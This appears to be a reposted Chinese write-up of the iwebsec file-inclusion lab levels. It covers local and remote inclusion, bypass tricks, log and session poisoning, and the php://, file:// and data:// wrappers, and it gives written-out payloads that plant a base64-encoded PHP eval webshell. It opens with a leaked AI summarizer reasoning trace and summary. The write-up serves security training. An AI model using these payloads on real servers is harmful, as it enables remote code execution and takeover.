iwebsec文件包含系列
嗯,用户让我总结一篇文章的内容,控制在一百个字以内,而且不需要特定的开头。首先,我需要仔细阅读文章,了解它的主要内容。 看起来这篇文章讲的是本地文件包含漏洞的利用方法,包括各种绕过技术,比如路径截断、问号绕过等。然后还提到了如何利用蚁剑工具连接服务器,并且还涉及到了远程文件包含漏洞、php://filter、php://input、file://和data://伪协议的利用方法。 用户的需求很明确,就是要一个简洁的总结。所以我要抓住文章的核心内容:漏洞利用方法和工具使用。同时,要确保在100字以内,所以需要精简语言。 可能用户是网络安全领域的学生或者从业者,想快速了解文章内容。他们可能需要这个总结用于学习或工作参考。深层需求可能是希望掌握这些漏洞利用技巧,以便在实际操作中应用。 现在,我需要将这些信息浓缩成一句话,涵盖主要点:本地文件包含漏洞的利用方法、绕过技术、工具使用以及相关的伪协议技巧。 </think> 文章详细介绍了本地文件包含漏洞的利用方法及其绕过技术,包括路径截断、问号绕过等,并通过蚁剑工具获取shell权限。同时涉及远程文件包含、php://filter伪协议、data://伪协议等多种漏洞利用技巧。 2025-10-27 11:33:35 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

01-本地文件包含

1761319956_68fb9c14232a2d868b920.png!small?1761319956534

利用文件包含查看服务器敏感文件

1761319992_68fb9c385dd1764034793.png!small?1761319992859

1761320011_68fb9c4b53d1aa156311e.png!small?1761320011852

1761320025_68fb9c5948c6c69be2b55.png!small?1761320026524

02-本地文件包含绕过

1761320052_68fb9c74e172acb33696b.png!small?1761320053422

1761320065_68fb9c8130d76fa01a39c.png!small?1761320065605

尝试路径长度截断、问号绕过、点号截断、#绕过、空格绕过均未通过,绕过姿势只能采用00截断

尝试包含中间件日志

1761320090_68fb9c9a43417e54155fa.png!small?1761320090686

1761320100_68fb9ca46769205c751d8.png!small?1761320101309

尝试通过本地文件包含获取shell

1761320118_68fb9cb62709484e71a85.png!small?1761320118430

1761320137_68fb9cc975fac1e8141c2.png!small?1761320138517

尝试使用bp工具repeater模块绕过url编码

1761320161_68fb9ce1987e021ee697d.png!small?1761320162020

上传之后查看中间件日志,发现仍旧被编码

尝试将base64编码后的shell语句传入中间件日志

1761320205_68fb9d0d86316b27781ec.png!small?1761320205935

1761320212_68fb9d14a248c104999b1.png!small?1761320213062

尝试使用蚁剑连接,url为包含中间件日志文件的路径

1761320226_68fb9d22e3e32f64897d1.png!small?1761320227194

解码器和编码器都勾选base64,选择默认也可以连接成功

1761320242_68fb9d32aebcfab885147.png!small?1761320243052

测试连接,出现超时报错

1761320260_68fb9d44a8875c82e3735.png!small?1761320261174

将超时时间设置为30000ms,再次尝试

1761320277_68fb9d556a213782509a6.png!small?1761320277735

1761320285_68fb9d5d21a611940e1fa.png!small?1761320285867

03-session本地文件包含

首先利用第一关获取session文件路径,因为本关没有文件包含函数可以利用,在上一关getshell之后可以查看第三关的源码来验证

1761320340_68fb9d94e38c53359f0d7.png!small?1761320341416

1761320353_68fb9da1775aaa020173f.png!small?1761320353937

获取到session文件路径为/var/lib/php/session

或者直接尝试apache服务中session文件的一般存储路径/tmp或/var/lib/php/session

由于单一的session内容可控和存储文件路径可预测漏洞无法进行getshell,所以这一关可以利用03.php将脏数据写入session文件中,然后利用第一关01.php中的文件包含漏洞包含带有脏数据的session文件来getshell

并且由于页面没有路径遍历漏洞,且该web应用整体上来说存在文件包含漏洞,所以无法通过session内容可控来直接获取敏感信息

1761320382_68fb9dbe88cbfcd16003c.png!small?1761320382979

1761320392_68fb9dc8eb41a8269b9a0.png!small?1761320393446

1761320401_68fb9dd12750cd74b054a.png!small?1761320401662

使用蚁剑连接拿下目标服务器

1761320415_68fb9ddfa872bb62d4853.png!small?1761320416019

1761320427_68fb9debf288c20ef1622.png!small?1761320428417

04-远程文件包含

漏洞利用条件:

1)allow_url_fopen = On (默认开启):允许通过URL打开远程文件

2)allow_url_include = On (默认关闭):允许通过include、require等函数包含远程文件(如HTTP/FTP协议)

1761320453_68fb9e056abf10746e28b.png!small?1761320453853

如果用公网靶场做本关,那么就需要一个云服务器来帮助我们在目标服务器包含shell文件

如果在本地虚拟机如VMware搭建的虚拟机中复现漏洞,可以在本机开启phpstudy的Apache服务,借助本机的http服务将shell文件包含到虚拟机服务器中

1)写一个shell文件,并放到Apache服务的目录下,以便能够被访问到

1761320476_68fb9e1cb84d7045ca60c.png!small?1761320477110

2)进行远程文件包含

1761320493_68fb9e2da663fc08bc1de.png!small?1761320494193

3)尝试用蚁剑进行连接拿下目标服务器

1761320509_68fb9e3d0ffab985be169.png!small?1761320509436

1761320517_68fb9e455b0200ce92259.png!small?1761320517978

由于本关没有对包含的文件做过滤,所以包含php文件也可以,从而可以利用hackbar直接在浏览器执行shell

1761320544_68fb9e607b390d2a35d43.png!small?1761320544887

1761320553_68fb9e69f1fb50cf161e8.png!small?1761320554633

05-远程文件包含绕过

1761320573_68fb9e7d62a9adc547a0d.png!small?1761320573816

关卡中给出的示例是通过%23绕过,%23为“#”的URL编码,直接用#无法绕过

1761320586_68fb9e8a7b00cac757a6f.png!small?1761320586906

经过测试,发现以下方式也可以成功绕过

1)?绕过

payload:1761320616_68fb9ea8097e96e1b281a.png!small?1761320616238

2)%3f绕过,即对“?”进行URL编码

payload:

1761320639_68fb9ebfee0c3bc127668.png!small?1761320640170

3)00截断绕过

payload:

1761320656_68fb9ed09a3caab6c3d64.png!small?1761320656823

同样按照上一关的方法可以getshell拿下目标服务器

1761320675_68fb9ee3aab5d2b33c6e3.png!small?1761320676272

06-php://filter伪协议

漏洞利用条件:

1)存在文件操作函数如include、require、file_get_contents、readfile等,且参数用户可控

2)未严格过滤参数,可以使用filter伪协议

3)目标文件路径已知或可预测

虽然参数格式类似URL,但使用php://filter伪协议读取本地文件时,php配置文件不需要开启allow_url_fopen和allow_url_include

两种读取文件用法:

1) ?filename=php://filter/convert.base64-encode/resource=xxx.php

2) ?filename=php://filter/read=convert.base64-encode/resource=xxx.php

使用php://filter伪协议查看敏感文件

1761320701_68fb9efd9740236a6799b.png!small?1761320702090

对内容进行base64解码

1761320714_68fb9f0a351f8ee06a7f2.png!small?1761320714938

为什么进行base64编码:

1)避免PHP标签被解析执行

PHP文件包含时,若内容含有“<?php ?>”等标签,会被解释器执行,通过base64编码可以将原始内容变成纯文本,原始内容不会被当作代码执行

2)绕过“死亡exit”限制

当写入文件时遇到前缀“<?php exit; ?>”时,base64解码会跳过非法字符(如<、?、;、空格等),仅处理合法字符,通过补位(如添加a)使phpexit(7字符)变为8字符(4字节倍数),再解码移除exit

3)兼容性强

base64仅含64个可打印字符(A-Z、a-z、0-9、+/=),适合网络传输,且所有环境支持

总的来说就是为了解决特殊字符解析冲突和绕过执行限制,其他编码方式同样可行,需根据场景选择,一般建议使用兼容性最强的base64编码

1761320730_68fb9f1ada53a9b2b4509.png!small?1761320731128

使用php://filter伪协议同样可以写入shell

payload:

http://target.com/fi/06.php?filename=php://filter/write=convert.base64-decode/resource=fi/shell.php&str=PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==

1761320758_68fb9f36001a268fb03f5.png!small?1761320758317

本关由于源码中没有file_put_contents()和fwrite()函数,所以无法直接使用php://filter伪协议写入shell。但没做过滤,并且已知满足远程文件包含的条件,所以基于本关的源码同样可以尝试进行远程文件包含

1761320773_68fb9f45266ff216195fc.png!small?1761320773490

07-php://input伪协议

漏洞利用条件:

PHP版本≥5.2

allow_url_fopen: on

alow_url_include: on

1761320793_68fb9f594d0cd9372bbf1.png!small?1761320793944

1761320803_68fb9f63b4e4820c92671.png!small?1761320804006

08-php://input伪协议利用

传入php函数来执行

1761320825_68fb9f793534e31f70267.png!small?1761320825789

1761320834_68fb9f8258ba227da87a5.png!small?1761320834960

尝试getshell

1761320849_68fb9f91d232fcbffbfe6.png!small?1761320850548

1761320857_68fb9f99e53c1038a911b.png!small?1761320858138

使用蚁剑进行连接,拿下目标服务器

1761320878_68fb9faee17457d3a286d.png!small?1761320879273

1761320887_68fb9fb74f71bb88d8088.png!small?1761320887678

09-file://伪协议利用

1761320902_68fb9fc60dc0170c6f6a4.png!small?1761320902660

file:://伪协议可以用来进行本地文件包含,但无法进行远程文件包含

尝试利用file://伪协议来包含带有shell的本地文件,从而getshell

直接将明文shell语句写入UA头传入中间件日志失败,所以尝试将base64编码的shell写入日志文件

1761320917_68fb9fd5dda6b123de8b3.png!small?1761320918321

1761320925_68fb9fdd0439d06d00070.png!small?1761320925444

使用蚁剑进行连接,超时时间选择30000ms。URL地址为使用file://伪协议本地文件包含中间件日志的链接

1761320937_68fb9fe9bac9d61588533.png!small?1761320938015

1761320945_68fb9ff1d0a8271b0f862.png!small?1761320946531

10-data://伪协议利用

从PHP 5.2.0起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码

利用时需要满足:

PHP版本≥5.2

allow_url_fopen: on

alow_url_include: on

利用方法:

1)直接明文传输php代码:

http://target.com/fi/10.php?filename=data://text/plain,<?php phpinfo();?>

2)使用base64编码绕过过滤:

http://target.com/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

1761320977_68fba0113bf30f0ceedd6.png!small?1761320977570

由于data://伪协议可以直接执行传入的php代码,所以可以直接构造链接来getshell</span></p><p id="u961d6f2f" class="ne-p"><span class="ne-text">payload:http://target.com/fi/10.php?filename=data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==

1761320992_68fba02089efb5d0c6cdc.png!small?1761320992819

1761321000_68fba0288f4e7f50965f9.png!small?1761321000877

1761321009_68fba0313d5c14943568b.png!small?1761321009754


文章来源: https://www.freebuf.com/articles/web/454103.html
如有侵权请联系:admin#unsafe.sh